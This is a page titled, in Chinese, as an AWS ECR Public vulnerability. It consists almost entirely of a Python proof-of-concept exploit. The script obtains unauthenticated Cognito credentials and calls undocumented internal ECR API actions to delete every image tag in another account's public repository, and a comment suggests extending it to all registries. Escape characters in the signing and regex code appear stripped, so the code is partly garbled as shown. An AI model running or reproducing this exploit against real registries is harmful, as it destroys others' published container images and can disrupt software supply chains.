AWS ECR 公开漏洞

import datetime import hashlib import hmac import sys import json import re import uuid  import requests import boto3  # Set this value to the target registry alias registry_alias_name = 'w8r5q5v0' # Set this value to the target repository name repository_name = 'gafpubrep'  DESCRIBE_REPOSITORY_CATALOG_DATA = 'SpencerFrontendService.DescribeRepositoryCatalogDataInternal' DESCRIBE_IMAGE_TAGS = 'SpencerFrontendService.DescribeImageTagsInternal' BATCH_GET_IMAGE = 'SpencerFrontendService.BatchGetImageInternal' GET_DOWNLOAD_URL_FOR_LAYER = 'SpencerFrontendService.GetDownloadUrlForLayerInternal' DELETE_TAG_FOR_CONVERGENT_REPLICATION = 'SpencerFrontendService.DeleteTagForConvergentReplicationInternal'  access_key_id = '' secret_key = '' session_token = ''   def init_spencer_creds():     """     Uses Amazon Cognito GetCredentialsForIdentity to get temporary credentials for    SpencerPortalCognitoInfra-SpencerCognitoUnAuthRole Role. I'm using    GetCredentialsForIdentity with an IdentityId I    have already issued so as not to overflow the IdentityPool with new GetId each    time.    :return: temporary credentials for SpencerPortalCognitoInfra-    SpencerCognitoUnAuthRole Role.    """     client = boto3.client('cognito-identity')     response = client.get_credentials_for_identity(         IdentityId='us-east-1:4efdd100-5f28-4444-9dc6-8b201cfef87a'     )      if not response["Credentials"]:         print("Error while getting temporary credentials.")         sys.exit(1)      global access_key_id, secret_key, session_token     access_key_id = response["Credentials"]["AccessKeyId"]     secret_key = response["Credentials"]["SecretKey"]     session_token = response["Credentials"]["SessionToken"]   def sign(key, msg):     return hmac.new(key, msg.encode("utf-8"), hashlib.sha256).digest()   def getSignatureKey(key, date_stamp, regionName, serviceName):     kDate = sign(('AWS4' + key).encode('utf-8'), date_stamp)     kRegion = sign(kDate, regionName)     kService = sign(kRegion, serviceName)     kSigning = sign(kService, 'aws4_request')     return kSigning   def send_request(request_parameters, amz_target):     method = 'POST'     service = 'ecr-public'     host = 'ecr-public.us-east-1.amazonaws.com'     region = 'us-east-1'     endpoint = 'https://ecr-public.us-east-1.amazonaws.com'     content_type = 'application/x-amz-json-1.1'      t = datetime.datetime.utcnow()     amz_date = t.strftime('%Y%m%dT%H%M%SZ')     date_stamp = t.strftime('%Y%m%d')      canonical_uri = '/'     canonical_querystring = ''     canonical_headers = 'content-type:' + content_type + 'n' + 'host:' + host + 'n' + 'x-amz-date:' + amz_date + 'n' + 'x-amz-target:' + amz_target + 'n'     signed_headers = 'content-type;host;x-amz-date;x-amz-target'     payload_hash = hashlib.sha256(request_parameters.encode('utf-8')).hexdigest()      # Create canonical request     canonical_request = method + 'n' + canonical_uri + 'n' + canonical_querystring + 'n' + canonical_headers + 'n' + signed_headers + 'n' + payload_hash      # Create string to sign     algorithm = 'AWS4-HMAC-SHA256'     credential_scope = date_stamp + '/' + region + '/' + service + '/' + 'aws4_request'     string_to_sign = algorithm + 'n' + amz_date + 'n' + credential_scope + 'n' + hashlib.sha256(         canonical_request.encode('utf-8')).hexdigest()      signing_key = getSignatureKey(secret_key, date_stamp, region, service)     signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest()      authorization_header = algorithm + ' ' + 'Credential=' + access_key_id + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature      headers = {'Content-Type': content_type,                'X-Amz-Date': amz_date,                'X-Amz-Target': amz_target,                'X-Amz-Security-Token': session_token,                'Authorization': authorization_header}      response = requests.post(endpoint, data=request_parameters, headers=headers)      return response.json()   def describe_repository_catalog_data(registry_alias_name):     request_parameters = '{"'                           f'registryAliasName": "{registry_alias_name}"'                           '}'     return send_request(request_parameters, amz_target=DESCRIBE_REPOSITORY_CATALOG_DATA)   def describe_image_tags(registry_alias_name, repository_name):     request_parameters = '{"'                           f'registryAliasName": "{registry_alias_name}", '                           f'"repositoryName": "{repository_name}"'                           '}'     return send_request(request_parameters, amz_target=DESCRIBE_IMAGE_TAGS)   def batch_get_image(registry_alias_name, repository_name, image_digest, image_tag):     request_parameters = '{"'                           f'registryAliasName": "{registry_alias_name}", '                           f'"repositoryName": "{repository_name}", '                           '"imageIds": [{'                           f'"imageDigest":"{image_digest}", '                           f'"imageTag":"{image_tag}"'                           '}]'                           '}'     return send_request(request_parameters, amz_target=BATCH_GET_IMAGE)   def get_download_url_for_layer(registry_alias_name, repository_name, layer_digest):     request_parameters = '{"'                           f'registryAliasName": "{registry_alias_name}", '                           f'"repositoryName": "{repository_name}", '                           f'"layerDigest":"{layer_digest}"'                           '}'     return send_request(request_parameters, amz_target=GET_DOWNLOAD_URL_FOR_LAYER)   def delete_tag_for_convergent_replication(repository_entity_id, image_manifest_entity_id, tag, created_at, updated_at,                                           deleted_at):     random_uuid = uuid.uuid4()     request_parameters = '{'                           '"imageTagEntity": {'                           f'"entityId":"{random_uuid}", '                           f'"repositoryEntityId":"{repository_entity_id}", '                           f'"imageManifestEntityId":"{image_manifest_entity_id}", '                           f'"tag":"{tag}", '                           f'"createdAt":{created_at}, '                           f'"updatedAt":{updated_at}, '                           f'"deletedAt":{deleted_at}'                           '}'                           '}'     return send_request(request_parameters, amz_target=DELETE_TAG_FOR_CONVERGENT_REPLICATION)   def get_repositories(registry_alias_name):     response = describe_repository_catalog_data(registry_alias_name)     repositories_list = []     for r in response["repositories"]:         repositories_list.append(r["repositoryName"])      return repositories_list   def get_image_tags_details(registry_alias_name, repository_name):     response = describe_image_tags(registry_alias_name, repository_name)     return response["imageTagDetails"]   def delete_tag(registry_alias_name, repository_name, image_digest, image_tag, image_created_at):     response = batch_get_image(registry_alias_name, repository_name, image_digest, image_tag)     image_manifest = json.loads(response["images"][0]["imageManifest"])     image_manifest_digest = image_manifest["config"]["digest"]      response = get_download_url_for_layer(registry_alias_name, repository_name, image_manifest_digest)     download_url = response["downloadUrl"]     z = re.match(         r'https://[^/]+/[0-9a-fA-F]{6}-d+-([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})/([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}).*',         download_url)     if z:         repository_entity_id = z.group(1)         image_manifest_entity_id = z.group(2)      delete_tag_for_convergent_replication(repository_entity_id, image_manifest_entity_id, image_tag,                                           created_at=image_created_at, updated_at=image_created_at,                                           deleted_at=image_created_at)   init_spencer_creds() 
# You can use SearchRepositoryCatalogDataInternal to get a list of all registries. # You can loop over all repositories in the registry # repositories_list = get_repositories(registry_alias_name)  image_tags_details_list = get_image_tags_details(registry_alias_name, repository_name)  for tag in image_tags_details_list:     image_digest = tag["imageDetail"]["imageDigest"]     image_tag = tag["imageTag"]     image_created_at = tag["createdAt"]     print(f"Deleting public.ecr.aws/{registry_alias_name}/{repository_name}:{image_tag}")     delete_tag(registry_alias_name, repository_name, image_digest, image_tag, image_created_at)   print("Done.")